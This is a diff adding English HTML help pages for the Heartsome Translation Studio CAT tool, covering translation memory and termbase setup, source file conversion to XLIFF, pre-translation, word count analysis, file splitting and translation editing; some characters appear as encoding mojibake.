        In this folder, report files (.html) are saved, which + are generated upon completion of word count analysis, + translation or editing progress analysis.

        +
      • +
      • +

        SKL

        + +

        In this folder, skeleton files are saved, which are + generated upon conversion of source files into XLIFF files. + Skeleton files are needed during conversion of XLIFF into + target files.

        +
      • +
      +
    • +
    • +

      Source

      + +

      The source files to be translated are saved in this folder. + We recommend keeping the original folder structure as is.

      +
    • +
    • +

      Target

      + +

      The target files that have been translated are saved in this + folder. The first sub-folder under this folder will be the + language code of the target language, and the folder structure of + the source files will be inside that.

      +
    • +
    • +

      XLIFF

      + +

      The XLIFF files are saved in this folder. Again, the first + sub-folder will be the language code of the target language and + the folder structure of the source files will be inside this + folder.

      +
    • +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s03.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s03.html new file mode 100644 index 0000000..7dee52b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s03.html @@ -0,0 +1,1252 @@ + + + +3. Prepare before translating + + + + + + + +
    +

    +3. Prepare before translating

    + + +

    Before proceeding with translation, you should properly prepare + the project to help you work efficiently:

    + +
    +

    +New Translation Memory Wizard

    + + +

    It is recommended that TMs are always used for translation + projects in order to make full use of CAT tool features. If no TM was + created or added during project creation, it can be done after the + project has been created, by going to the File menu + or context menu > New > + Translation Memory to open + New Translation Memory Wizard.

    + +
    +

    +TM basic information

    + + +
    +

    Figure 39. Create a new TM: TM information

    +
    + + +
    +
    Create a new TM: TM information
    +
    +
    +
    +
    + +

    In the first step of the Create A New TM wizard, you need to + choose the type of TM to be created. Different database types + require different basic information to be entered. The differences + are detailed as follows:

    + +
    +
    +Internal DB
    + + +
      +
    • +

      Path

      + +

      The path where the TM will be saved.

      +
    • +
    • +

      Name

      + +

      Name of the TM.

      +
    • +
    +
    + +
    +
    +MS SQL Server
    + + +
    +

    Tip

    +

    To get the following information, you might need to ask + relevant IT personnel for assistance or refer to the user + documentation for the respective database server + software.

    +
    + +
      +
    • +

      Address

      + +

      The MS SQL Server's host name, domain name, or IP + address.

      +
    • +
    • +

      Port

      + +

      The MS SQL Server port, which is 1433 by default.

      +
    • +
    • +

      Username

      + +

      The username required to access the MS SQL Server. + Authority for creating a database needs to be granted to this + user.

      +
    • +
    • +

      Password

      + +

      The password for the respective user.

      +
    • +
    • +

      Name

      + +

      Name of the TM.

      +
    • +
    +
    + +
    +
    +MySQL
    + + +
      +
    • +

      Address

      + +

      The MySQL Server's host name, domain name, or IP + address.

      +
    • +
    • +

      Port

      + +

      The MySQL Server port, which is 3306 by default.

      +
    • +
    • +

      Username

      + +

      The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user.

      +
    • +
    • +

      Password

      + +

      The password for the respective user.

      +
    • +
    • +

      Name

      + +

      Name of the TM.

      +
    • +
    +
    + +
    +
    +Oracle
    + + +
      +
    • +

      Address

      + +

      The Oracle Server's host name, domain name, or IP + address.

      +
    • +
    • +

      Port

      + +

      The Oracle Server port, which is 1521 by default.

      +
    • +
    • +

      Instance

      + +

      An Oracle database instance.

      +
    • +
    • +

      Username

      + +

      The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user.

      +
    • +
    • +

      Password

      + +

      The password for the respective user.

      +
    • +
    • +

      Name

      + +

      Name of the TM.

      +
    • +
    +
    + +
    +
    +PostgreSQL
    + + +
      +
    • +

      Address

      + +

      The PostgreSQL Server's host name, domain name, or IP + address.

      +
    • +
    • +

      Port

      + +

      The PostgreSQL Server port, which is 5432 by + default.

      +
    • +
    • +

      Username

      + +

      The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user.

      +
    • +
    • +

      Password

      + +

      The password for the respective user.

      +
    • +
    • +

      Name

      + +

      Name of the TM.

      +
    • +
    + +
    +

    Note

    +

    For each type of database above, users are allowed to + create multiple TMs/termbases on one server (path, server + + port, server + port + instance).

    +
    +
    +
    + +
    +

    +Import TMX files

    + + +
    +

    Figure 40. Create new TM: Import TMX file

    +
    + + +
    +
    Create new TM: Import TMX file
    +
    +
    +
    +
    + +

    In the second step of the Create A New TM wizard, you may + choose to import a TMX file into the newly created TM.

    + +

    By clicking the Options button, you can + also define how duplicate entries will be handled.

    + +
    +

    Figure 41. Options: TM - duplicate entries processing

    +
    + + +
    +
    Options: TM - duplicate entries processing
    +
    +
    +
    +
    + +
    • +

      Duplicate entries processing

      + +
        +
      • +

        Add

        + +

        Offering the fastest import speed, this is the best + option when there are no duplicate entries between the + existing TM and the TMX being imported, or when all + duplicates need to be retained.

        +
      • +
      • +

        Overwrite

        + +

        Offering a slower import speed, this is the best + option when the TMX being imported contains more up-to-date + content than the existing TM.

        +
      • +
      • +

        Ignore

        + +

        Offering a moderate import speed, this is the best + option when the existing TM contains more up-to-date content + than the TMX being imported.

        +
      • +
      +
    +
    +
    + +
    +

    +New Terbase Wizard

    + + +
    +

    +Termbase basic information

    + + +
    +

    Figure 42. Create new termbase: Basic information

    +
    + + +
    +
    Create new termbase: Basic information
    +
    +
    +
    +
    + +

    Similar to the procedure of creating a new TM, the first step + in the Create A New Termbase wizard is choosing from the different + types of termbase. For details about the information required for + each database type, please see the section called “New Translation Memory Wizardâ€.

    +
    + +
    +

    +Import TBX files

    + + +
    +

    Figure 43. Create new termbase: Import TBX file

    +
    + + +
    +
    Create new termbase: Import TBX file
    +
    +
    +
    +
    + +

    In the second step of the Create A New Termbase wizard, you + can choose to import a TBX file into the newly created + termbase.

    + +

    By clicking the Options button, you can + also define how duplicate entries will be handled.

    + +
    +

    Figure 44. Options: Termbase - Duplicate entries processing

    +
    + + +
    +
    Options: Termbase - Duplicate entries processing
    +
    +
    +
    +
    + +
    • +

      Duplicate entries processing

      + +
        +
      • +

        Add

        + +

        Offering the fastest import speed, this is the best + option when there are no matching repetitions between the + existing termbase and the TBX being imported, or when all + duplicates need to be retained.

        +
      • +
      • +

        Overwrite

        + +

        Offering a slower import speed, this is the best + option when the TBX being imported contains more up-to-date + content than the existing termbase.

        +
      • +
      • +

        Merge

        + +

        Offering a slower import speed, this is a suitable + option when the contents in both the imported TBX and the + existing termbase need to be retained.

        +
      • +
      • +

        Ignore

        + +

        Offering a moderate import speed, that is the best + option when the existing termbase contains more up-to-date + content than the TBX being imported.

        +
      • +
      +
    +
    +
    + +
    +

    +Add Source Files

    + + +

    If the "add source file" step was skipped or not all source + files were added during the creation of the project, you can do so + after the project has been created by simply dragging the source file + (one or multiple files/folders) from your computer's file manager and + dropping it (or them) into the “Source†folder for the + project. If a folder was added, then the entire sub-folder structure + within it will also be retained. See the figure below illustrating the + drag-and-drop operation:

    + +
    +

    Figure 45. Drag-and-drop folders/files

    +
    + + +
    +
    Drag-and-drop folders/files
    +
    +
    +
    +
    + +

    Other than drag-and-drop, you can also add source files by + directly copying one or multiple files or folders from your computer's + file manager by selecting the project's “Source†folder + in the Project window and using the hot keys + Ctrl/Command+V or + Edit menu > + Paste.

    + +

    To delete source files, just select one or multiple + files/folders and click Edit menu > + Delete, or simply press + Delete on your keyboard.

    +
    + +
    +

    +Convert Source Files to XLIFF

    + + +

    Since HSTS can be used to directly edit XLIFF files, only source + files in other formats have to be converted into XLIFF format before + they can be translated with HSTS. You will be directed to this step + automatically in the final step of project creation after adding + source files and chosen Convert source files to + XLIFF after the project is created. Alternatively, you can + expand the project folder and select the “Source†folder, + or any other files/folders in the Source folder. Following this, + choose Convert to XLIFF Files from context menu or + File menu.

    + +
    +

    Figure 46. Convert Source Files to XLIFF

    +
    + + +
    +
    Convert Source Files to XLIFF
    +
    +
    +
    +
    + +

    In Convert Source Files to XLIFF + dialog box, there are following parameters available for configuration + in:

    +
    +

    Figure 47. Convert Source Files to XLIFF dialog box

    +
    + + +
    +
    Convert Source Files to XLIFF dialog box
    +
    +
    +
    +


    + +
      +
    • +

      Properties

      + +
        +
      • +

        Format

        + +

        The format of the source files.

        +
      • +
      • +

        Encoding

        + +

        The encoding of the source files.

        +
      • +
      +
    • +
    • +

      Conversion Options

      + +
        +
      • +

        Overwrite files with the same + name

        + +

        HSTS will not overwrite existing files by default. If + the XLIFF file that needs to be generated already exists, the + only way to continue the conversion is to overwrite the + existing file. Before choosing this option make sure that the + file to be overwritten does not contain useful data. Back it + up first if it does.

        +
      • +
      • +

        Pre-translate

        + +

        This will enable pre-translation of the XLIFF file after + conversion, which can facilitate the translation + process.


        +
      • +
      • +

        Target Languages

        + +

        This will convert your source files to XLIFF files with + multiple target languages. Here, the option can be selected by + pressing Ctrl/Shift plus the + left mouse button.

        +
      • +
      +
    • +
    • +

      Segmentation Rules

      + +

      SRX (Segmentation Rules eXchange) files define how a + paragraph will be split up into sentences. Users can choose + different segmentation rules to meet the particular requirements + of clients, languages or files. For custom segmentation rules, you + can refer to "Configure + segmentation rules".

      +
    • +
    +
    + +
    +

    +Lock Repetitions

    + + +

    Some sentences (text segments) might appear in one project + repeatedly. To provide consistent translation for these repeated text + segments and to also save time handling them, it is recommended that + these repetitions are locked and that the "duplicate translation" + feature is used after translation has been completed. In this way, + identical translations will be applied to the repetitions.

    + +

    HSTS enables automatic locking of repetitions. This convenient + feature keeps the first occurrence of the segment unlocked, but locks + the second and later occurrences (the repetitions). This makes it easy + to translate the first occurrence, while preventing inconsistent + translations for the repetitions. The step-by-step procedure is + described as follows:

    + +
      +
    1. +

      Select one or more files/folders in the project's + “XLIFF†folder, then from the right-click menu or + Translation menu, select Lock + Repetitions.

      +
      +

      Figure 48. Lock Repetitions

      +
      + + +
      +
      Lock Repetitions
      +
      +
      +
      +


      +
    2. +
    3. +

      Lock Repetitionsdialog box is + displayed in which list all selected files just now, select + segment status level you want to lock:

      +
      +

      Figure 49. Lock Repetitions dialog box

      +
      + + +
      +
      Lock Repetitions dialog box
      +
      +
      +
      +


      + +
        +
      • +

        Internal Repetitions

        + +

        Segments with identical source text within the same file + or across multiple files will be locked.

        +
      • +
      • +

        Exact Matches

        + +

        Segments with a 100% match in the TM will be + locked.

        +
      • +
      • +

        Context Matches

        + +

        Segments with a 101% match in the TM will be + locked.

        +
      • +
      +
    4. +
    5. +

      Click the OK button to start locking + the repetitions and the result will be shown at the end.

      +
      +

      Figure 50. Results of locking repetitions

      +
      + + +
      +
      Results of locking repetitions
      +
      +
      +
      +


      +
    6. +
    +
    + +
    +

    +Pre-translate

    + + +

    Pre-translation will automatically translate all segments in the + selected XLIFF where matches are found in the TM. It also facilitates + more accurate implementation of matches-based features, such as word + count analysis or the “repetitions†in the segment filter + of the editor.

    + +

    Apart from TM pre-translation, HSTS also supports + MT-based pre-translation.How it works:

    + +
      +
    1. +

      Before pre-translating from a TM, at least one TM should be + added to the project. The TM cannot be empty (matches must have + been added by importing TMX or translated segments to the + TM).

      +
      +

      Figure 51. Open Project Settings

      +
      + + +
      +
      Open Project Settings
      +
      +
      +
      +


      + +
      +

      Figure 52. Project Settings: TM

      +
      + + +
      +
      Project Settings: TM
      +
      +
      +
      +
      +
    2. +
    3. +

      Select one or more files/folders in the project's + “XLIFF†folder, then from the right click menu or + Translation menu, select + Pretranslation.

      +
      +

      Figure 53. Pre-translate

      +
      + + +
      +
      Pre-translate
      +
      +
      +
      +


      The Pretranslation + dialog will pop up listing all of the selected XLIFF files.

      + +
      +

      Figure 54. Pre-translate

      +
      + + +
      +
      Pre-translate
      +
      +
      +
      +
      +
    4. +
    5. +

      Clicking the Options button will open + the Preferences related to pre-translation:

      + +
      +

      Figure 55. Options: Pre-translate

      +
      + + +
      +
      Options: Pre-translate
      +
      +
      +
      +
      + +
        +
      • +

        Pre-translate

        + +
          +
        • +

          Also lock following segments:

          + +
            +
          • +

            Exact Matches

            +
          • +
          • +

            Context Matches

            +
          • +
          +
        • +
        • +

          How to handle existing translations:

          + +
            +
          • +

            Keep existing + translations

            +
          • +
          • +

            Overwrite if translations found with + higher match value

            +
          • +
          • +

            Always overwrite existing + translations

            +
          • +
          +
        • +
        +
      • +
      • +

        Google Translate

        + +
          +
        • +

          Key

          + +

          Need to purchase from Google, please refer to Q: 1.2.

          +
        • +
        • +

          Automatic Machine Translation

          + +
            +
          • +

            When no pre-stored translations from + Google Translate

            +
          • +
          • +

            Always

            +
          • +
          • +

            Never, I'll do that + manually

            +
          • +
          +
        • +
        • +

          Pre-store Google Translate + translations

          +
        • +
        +
      • +
      • +

        Bing Translator

        + +
          +
        • +

          For authentication, please refer to Q: 1.2 for following + information:

          + +
            +
          • +

            Client ID

            +
          • +
          • +

            Key

            +
          • +
          +
        • +
        • +

          Automatic Machine Translation

          + +
            +
          • +

            When no pre-stored translations from + Bing Translator

            +
          • +
          • +

            Always

            +
          • +
          • +

            Never, I'll do that + manually

            +
          • +
          +
        • +
        • +

          Pre-store Bing Translator + translations

          +
        • +
        +
      • +
      +
    6. +
    7. +

      Click the OK button to start + pre-translation.The operation may take some time to complete + depending on the volume of segments in the XLIFF and whether MT + has been used for pre-storage.Once the pre translation has + finished, the results dialog box will appear, as shown + below.

      + +
      +

      Figure 56. Pre-translation Results

      +
      + + +
      +
      Pre-translation Results
      +
      +
      +
      +
      +
    8. +
    +
    + +
    +

    +Analyze Files

    + + +

    A word count analysis give users an idea of the volume of the + translation project, which helps with billing or with project + management when translation assignments have to be split between + different translators. HSTS can also calculate equivalent word counts, + or "weighted word counts," for a given translation project. This is + based on the match values and the corresponding equivalents set by + users, and the software will then automatically sum up results across + all folders.To do a word count analysis, please follow these + steps:

    + +
      +
    1. +

      Select Project in the project + window, and then from the right-click menu or the + Project menu, open Project + Settings > Translation + Memory to check that a non-empty TM has been + created. Create an empty TM if this has not been done.For details, + see Figure 52, “Project Settings: TMâ€.

      +
    2. +
    3. +

      From the “Project†or XLIFF sub-folder, choose + one or multiple .hsxliff files, and from either the + right-click menu or the Project menu, select + Analyze Files.

      +
      +

      Figure 57. Analyze Files

      +
      + + +
      +
      Analyze Files
      +
      +
      +
      +


      + +
      +

      Figure 58. Analyze Files dialog box

      +
      + + +
      +
      Analyze Files dialog box
      +
      +
      +
      +
      +
    4. +
    5. +

      From the Analyze Files dialog + box, you may also choose from these additional options:

      + +
        +
      • +

        Lock context matches

        +
      • +
      • +

        Lock exact matches

        +
      • +
      • +

        Lock Repetitions

        +
      • +
      +
    6. +
    7. +

      Click the Options button to change + settings for the word count analysis:

      + +
      +

      Figure 59. Options: Analyze Files

      +
      + + +
      +
      Options: Analyze Files
      +
      +
      +
      +
      + +
        +
      • +

        Ignore case

        + +

        Ignore by default.

        +
      • +
      • +

        Ignore tags

        + +

        Ignore by default.

        +
      • +
      • +

        Minimum match value

        + +

        Valid values range from 1% to 100%. The default value is + 70%.

        +
      • +
      • +

        Number of context segments

        + +

        Valid values range from 1 to 100. The default value is + 1. The previous segment and following segment (if neither are + empty) are taken into account for context matching.

        +
      • +
      • +

        Analysis Report

        + +

        Whether to include the internal repetitions and internal + fuzzy matches in the analysis report:

        + +
          +
        • +

          Internal Repetitions

          +
        • +
        • +

          Internal fuzzy matches

          +
        • +
        +
      • +
      • +

        Weighted Factor

        + +

        Match value range and weighted factors. This setting + converts the word counts of specific match values into + weighted word counts. For example, a repeated word may be + counted as the factor of 0.5 of a word. Settings for this may + vary from client to client or agency to agency, and users can + change these values as appropriate.

        +
        +

        Figure 60. Options: Weighted Factor

        +
        + + +
        +
        Options: Weighted Factor
        +
        +
        +
        +


        +
      • +
      +
    8. +
    9. +

      Once you have finished choosing settings, click the + OK button and an analysis report in HTML + format will be created in the “Intermediate/Report†+ folder and automatically opened.

      + +
      +

      Figure 61. Results of word analysis

      +
      + + +
      +
      Results of word analysis
      +
      +
      +
      +
      +
    10. +
    +
    + +
    +

    +Split up a file

    + + +

    If an individual file is very large, it can be converted to + XLIFF and then split up into multiple smaller files. These can then be + assigned to different translators to work on at the same time in order + to shorten the project cycle. With other CAT tools, files are usually + split up by specifying a certain number of segments, but HSTS takes a + more customizable and visible approach:

    + +
      +
    1. +

      Double-click to open the XLIFF file to be split up, and + browse its contents.

      +
    2. +
    3. +

      Based on the context, decide which segment the file needs to + be split from. Select that segment and use the XLIFF + Split Point command in the right-click menu to add a + split tag to the segment.

      + +
      +

      Figure 62. Split up XLIFF file - Add split point

      +
      + + +
      +
      Split up XLIFF file - Add split point
      +
      +
      +
      +
      +
    4. +
    5. +

      Repeat the step above until all split tags have been added + at the desired points.

      +
    6. +
    7. +

      In the Project window, choose + this XLIFF file and then, in the right-click menu or the + File menu, click Split + XLIFF.

      + +
      +

      Figure 63. Split XLIFF file

      +
      + + +
      +
      Split XLIFF file
      +
      +
      +
      +
      +
    8. +
    9. +

      When the Split XLIFF dialog + box pops up, check that the split information is correct, then + click the OK button to finish splitting up + the XLIFF file. The split XLIFF files will be saved in the same + folder where the original XLIFF file was saved. The new folder is + renamed with “_split†as a suffix to the original + file name. The split files can be found in this folder and + assigned to different translators.

      +
      +

      Figure 64. Results of Splitting up XLIFF

      +
      + + +
      +
      Results of Splitting up XLIFF
      +
      +
      +
      +


      +
    10. +
    + +

    Split XLIFF files need to be merged at the end of the project in + order to be converted to the final target file. For details please see + the section called “Merge filesâ€.

    +
    + +
    +

    +Project Settings

    + + +

    Data that has been skipped or not entered during New Project Wizard + can be added or changed after project creation is done. Follow these + steps:

    + +
      +
    1. +

      Choose the project whose settings you want to change from + the Project window, then from the + right-click menu or the Project menu, open + Project Settings.

      + +
      +

      Figure 65. Project Settings

      +
      + + +
      +
      Project Settings
      +
      +
      +
      +
      +
    2. +
    3. +

      The Project Settings dialog + box shows most of the same information that was previously shown + in the New Project Wizard:

      + +
        +
      • +

        Project Information(Note: the + Client, Subject in the following figure are customized project + properties. For more information, Please see the section called “Project Informationâ€)

        +
      • +
      • +

        Project Language

        +
      • +
      • +

        Translation Memory

        +
      • +
      • +

        Termbase

        +
      • +
      +
    4. +
    + +
    +

    Figure 66. Project Settings: Project information

    +
    + + +
    +
    Project Settings: Project information
    +
    +
    +
    +
    + +
    +

    Figure 67. Project Settings: Project language

    +
    + + +
    +
    Project Settings: Project language
    +
    +
    +
    +
    + +
    +

    Figure 68. Project Settings: TM

    +
    + + +
    +
    Project Settings: TM
    +
    +
    +
    +
    + +
    +

    Figure 69. Project Settings: Termbase


    +
    + + +
    +
    Project Settings: Termbase

    +
    +
    +
    +
    + +

    These items can be modified or set in the same way as in New + Project Wizard, therefore the instructions are not repeated + here.

    + +

    There are two features that are present in New Project Wizard + but not in Project Settings: Change project name + and Add/delete source file. The "Add/delete + source file" feature has been detailed previously in the section called “Add Source Filesâ€. The project name can be + changed by selecting the project that needs to be renamed and then + going to the Edit menu and using the + Rename feature.

    + +
    +

    Figure 70. Rename Project


    +
    + + +
    +
    Rename Project

    +
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s04.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s04.html new file mode 100644 index 0000000..af4590a --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch05s04.html @@ -0,0 +1,1355 @@ + + + +4. Translation + + + + + + + +
    +

    +4. Translation

    + + +

    Translation is obviously the most important part of a translation + project. It is also where CAT tools are at their most useful.As soon as + the aforementioned preparation work has been done, you are ready to + start translating. The preparation steps are just suggestions and you + may choose to adapt them to your particular needs, or go back to perform + those steps any time during the translation process.

    + +
    +

    +Open

    + + +

    In HSTS, an XLIFF file (with an .hsxliff extension) + can be opened in one of two ways:

    + +
      +
    • +

      Open separately

      + +

      Double-click the file you want to open, or select one or + multiple files and use the right-click menu to open them. You can + open individual XLIFF files one after another in XLIFF + editor.

      +
    • +
    • +

      Open in One Tab

      + +

      Select two or more XLIFF files, one or more folders + containing at least two XLIFF files each, or a combination of + files and folders. Then click Open in One + Tab in the right-click menu to open and merge all + selected XLIFF files in just one XLIFF editor as if they were a + single XLIFF file.

      +
      +

      Figure 71. Open in One Tab

      +
      + + +
      +
      Open in One Tab
      +
      +
      +
      +


      + +
      +

      Figure 72. The effect of opening files in one tab

      +
      + + +
      +
      The effect of opening files in one tab
      +
      +
      +
      +
      +
    • +
    + +

    Opening files separately is the best option for a translation + project consisting of just a few files, while the merge and open + option is ideal for a project where there are a large number of small + files and multiple folder levels.

    +
    + +
    +

    +Enter translation

    + + +

    Click any target segment, a flashing cursor appears and you can + enter your translation.When you have finished typing, click an area + outside the input box, or press arrow keys (↑, + ↓ ) to go to previous segment or next segment, the + content you have just entered will be saved automatically in the + Heartsome + XLIFF.需è¦æ³¨æ„的是,如果译文有多行文本,则在使用↑ã€â†“æ–¹å‘键时,会先在当å‰æ–‡æœ¬æ®µçš„多行译文之间移动光标,到达当å‰è¯‘文的首行或末行åŽï¼Œç»§ç»­æŒ‰æ–¹å‘键↑ã€â†“æ‰ä¼šåˆ†åˆ«è·³åˆ°ä¸Šã€ä¸‹ä¸€ä¸ªæ–‡æœ¬æ®µã€‚

    +
    + +
    +

    +Inserting tags into the translation

    + + +

    Some formatting elements (e.g., bold, italic, underlined, + foreground color, background color, etc.) will be saved as internal + tags when the file is converted to XLIFF. This means the original + formatting will be restored when the translated file is converted to a + target file.

    + +

    Therefore, internal tags in the source text have to be inserted + in the translated text at the appropriate places. HSTS's tags are + numbered according to the order in which they appear in the source, + and tags inserted into the translation are identified by these same + ordinal numbers. HSTS provides two ways to insert tags into the + translation:

    + +
    +

    Figure 73. Insert internal tags

    +
    + + +
    +
    Insert internal tags
    +
    +
    +
    +
    + +
      +
    • +

      Quick Insert Tag

      + +

      Insert a specified number (up to 10) of tags into the + translation.

      +
    • +
    • +

      Insert Next Tag

      + +

      Insert a tag of the smallest ordinal number that is present + in the source but not in the translation.

      +
    • +
    + +

    For both ways of inserting tags, it is strongly + recommended to use the respective hot keys, which will + improve efficiency significantly.

    + +

    Some internal tags come in pairs. The first + one is called the “opening tag†and the second one is + called the “closing tag†(like the starting and finishing + points of the bold text in this sentence). Between the “opening + tag†and “closing tag†of such a pair, other tags + might also be embedded (e.g., within a bold section of text, some of + the bold words might also appear as italics).A tag pair share the same + ordinal number.

    + +

    Other than these two types of tags (tag + pairs and embedded tags), there are no + strict ordinal restrictions for other tags, meaning that the + tags in the translation do not have to be in exactly the same order as + they are in the source. Where a tag should be placed + depends mainly on how the source and the translation correspond. If + the word surrounded by the tags is at the beginning of the sentence in + the source, while the translated word is at the end of the target + sentence, then the tags should also be added at the end of the + translation (generally speaking, the same word should be surrounded by + the tags, no matter where in the sentence it appears).

    + +
    +

    Tip

    +

    If you select part of the translation and insert a + tag pair,the selected text will be + automatically placed in the middle of this tag pair. If you did not + choose the translation while inserting a tag pair, the cursor will + be placed in the middle of the tag pair, in which you can enter your + translation.

    +
    + +
    +

    Tip

    +

    To change the color of tags, go toTools + > Options > Color + Settins. Tag error means tags in target does not + appear in source, you may need to remove these tags.

    +
    +
    + +
    +

    +Change segment status

    + + +

    The segment status is used to indicate what stage the segment is + at in relation to the overall translation process. Below are the + different statuses a segment can have in HSTS:

    + +
    +

    Figure 74. Right-click menu: Segment status


    +
    + + +
    +
    Right-click menu: Segment status

    +
    +
    +
    +
    + +
      +
    • +

      Untranslated

      + +

      A segment where no translation has been added. When you + delete or clear the translation in a segment with a different + status, it will automatically take on this status.

      +
    • +
    • +

      Draft

      + +

      A segment where a translation has been added, but not yet + confirmed as the final translation. When a segment, with a status + other than "draft", gets changed but is not empty, it will + automatically take on this status.

      +
    • +
    • +

      Translated

      + +

      A segment where a translation has been added and confirmed + by the translator as the final translation. Users can use the + Confirm Translation feature to change a + segment to this status from a different status, except when it is + "not translated".

      +
    • +
    • +

      Approved

      + +

      A segment where the translation has been edited or + tentatively confirmed by a proofreader as correct, + implying that it has been translated.Users + can use the Approve Translation feature + to change a segment to this status from a different status, except + when it is "not translated".

      +
    • +
    • +

      Signed-off

      + +

      A segment where the translation has been edited or confirmed + by a proofreader and therefore the translation is + considered final.Users can use the Sign + off feature to change a segment to this status from + "Approved".

      +
    • +
    + +

    If the default TM has been set up correctly, when the segment + status is changed to “Translated†or + “Approvedâ€, Auto-sending segments to + TM will also be implemented at the same time. Otherwise, + the status of the translated segment will change but the text will not + be saved in the TM.

    +
    + +
    +

    +Translation Memory

    + + +

    During translation, the most frequently used functions related + to translation memory is as follows:

    + +
    +

    +Send segments to TM

    + + +

    This feature saves the source text and translated text in the + TM. Once saved in the TM, it enables repeated use of the translation + for a similar sentence and therefore keeps translation as consistent + as possible across files and projects.

    + +

    As mentioned earlier, if the default TM has been set up + correctly, when the segment status is changed to + “Translated†or “Approvedâ€, the text + segment will be automatically saved in the TM. Otherwise, the status + of the translated segment will change but the text will not be saved + in the TM. If you would like to save all segments in the TM all at + once upon completion of the project, please refer to Section 1, “Update Translation Memoryâ€.

    + +

    When saving segments in the TM in any of the ways described + above, entries identified as repetitions (i.e. having identical + sources) can be handled using the same options that are available + for importing TMX files. For details please see the section called “Import TMX filesâ€.

    +
    + +
    +

    +Get match for current segment

    + + +

    When the TM has been correctly set up, every time you select a + segment HSTS will automatically retrieve a match (if available) from + the TM and display it in the Translation + Memory window. By selecting a match, you can see + information about the match in Translation Memory window status bar: + modification date and time, modified by, name of the TM.

    + +
    +

    Figure 75. Translation Memory Matches

    +
    + + +
    +
    Translation Memory Matches
    +
    +
    +
    +
    + +

    When you mouse over the status bar, more attribute information + will pop up: created by, created on, custom attributes (please see + the section called “Project Informationâ€, the section called “Project Settingsâ€for how to set this).

    + +

    Users can go to Tools menu > + Options > + Translation > Translation + Memory to configure settings for TM searches:

    + +
    +

    Figure 76. Options: TM

    +
    + + +
    +
    Options: TM
    +
    +
    +
    +
    + +
      +
    • +

      Case-sensitive

      +
    • +
    • +

      Ignore tags

      +
    • +
    • +

      Minimum match value

      + +

      Matches with lower match values in the TM than this will + not be displayed.

      +
    • +
    • +

      Number of context segments

      + +

      The number of segments that are taken into account when + calculating context matches.

      +
    • +
    • +

      Number of matches displayed

      + +

      Once the number of matches meeting the specified minimum + match value reaches the value entered here, the search will + stop.

      +
    • +
    • +

      Priority

      + +
        +
      • +

        Default translation memory

        + +

        Matches from default translation memory will take + priority over the matches from non-default translation + memory.

        +
      • +
      • +

        Most recently updated

        + +

        More recent translations are shown closer to the + top.

        +
      • +
      +
    • +
    + +

    In the Translation Memory + window, different types of matches are displayed in different + colors, which makes it easier for users to identify them. These + color settings can be changed in Tools menu > + Options > + System > Color + Settings.

    + +
    +

    Figure 77. Options: Color Settings

    +
    + + +
    +
    Options: Color Settings
    +
    +
    +
    +
    +
    + +
    +

    +Apply match to translation

    + + +

    In the Translation Memory + window, double-clicking on a match will apply the translation to the + current segment. At the same time, the background color of match + value of the segment will change to be the same as the match. In + addition, you can also use shortcut keys Alt + + 1, Alt + + 2, Alt + 3 to get the + first, second and third match from the translation memory + window.

    + +
    +

    Figure 78. Accept match


    +
    + + +
    +
    Accept match

    +
    +
    +
    +
    + +
    +

    Tip

    +

    When you applied match to target and changes the + translation, then backgrou color of the match value of the segment + will disappear.

    +
    + +

    If you want to copy and paste any portion of matches to + target, you can select part of mathces, then press + Ctrl/Command+C + and + Ctrl/Command+V to + copy and paste it to the target。

    + +
    +

    Figure 79. TM Match: select the part of the translation

    +
    + + +
    +
    TM Match: select the part of the translation
    +
    +
    +
    +
    +
    + +
    +

    +Edit match, delete match

    + + +

    If you find wrong sentence or repeated sentence in + Translaiton Memory panel, you can + edit them with Edit Match and + Delete Match button。

    + +
    +

    Figure 80. TM: editing match

    +
    + + +
    +
    TM: editing match
    +
    +
    +
    +
    + +

    Select desired match in Translation + Memory and click Edit Match + button, the Edit Match dialog will + pop up.

    + +
    +

    Figure 81. Edit Match

    +
    + + +
    +
    Edit Match
    +
    +
    +
    +
    + +

    Once finish editing, click OK to save changes into TM in + real-time.

    + +
    +

    Figure 82. TM: Delete Match

    +
    + + +
    +
    TM: Delete Match
    +
    +
    +
    +
    + +

    To delete a match, select it and click Delete Match button, + and finally click OK.

    + +
    +

    Tip

    +

    You can only edit the match retrieved from TM in real-time, + rather than pre-stored TM matchã€MT match or + QT match.

    +
    + +
    +

    Warning

    +

    Editing match can not be undone. Please + keep cautious for this.

    +
    +
    + +
    +

    +Concordance

    + + +

    Concordance is mainly used to search for translations that are + relevant to specific source text. This is how it works:

    + +
      +
    1. +

      Check that the TM has been set up correctly for the + project. For details about this, please see Figure 52, “Project Settings: TMâ€;

      +
    2. +
    3. +

      Select text in either the source or translation column, + use the Context Menu or the Translationmenu + and click Concordance;

      +
      +

      Tip

      +

      The selected text will also be automatically copied to + the system clipboard. If you do not find the results in TM, + and want to continue to search it in the Internet, you can + paste the selected text to browser's search box directly by + Ctrl/Command+V.

      +
      + +
      +

      Figure 83. XLIFF editor: Select text to search

      +
      + + +
      +
      XLIFF editor: Select text to search
      +
      +
      +
      +
      +
    4. +
    5. +

      In the Concordance dialog + box that pops up, adjust the following settings as + appropriate:

      + +
        +
      • +

        Case-sensitive

        +
      • +
      • +

        Ignore tags

        + +

        This means to skip tags in segments during the + search.

        +
      • +
      • +

        Regular expressions

        +
      • +
      • +

        Translation Memory

        + +

        This is the TM you want to conduct the search + in.

        +
      • +
      • +

        Target Languages

        + +

        This limits the search to finding source text in the + current XLIFF file and only text in the chosen target + language will be displayed. It is also possible to show + translated text in different language locales for + reference.

        +
      • +
      • +

        Add Filters

        + +
          +
        • +

          Source/Target

          +
        • +
        • +

          Contain/Exclude

          +
        • +
        • +

          Text content

          +
        • +
        +
      • +
      + +
      +

      Figure 84. Concordance

      +
      + + +
      +
      Concordance
      +
      +
      +
      +
      +
    6. +
    7. +

      Click the Search button to see + results.

      +
    8. +
    + +

    Double-click translation on conconrdance search dialoge to + select part of its content to copy to the clipboard for later + use.

    +
    +
    + +
    +

    +Termbase

    + + +

    Most termbase features work in a similar way to a TM.

    + +
    +

    +Add Term

    + + +

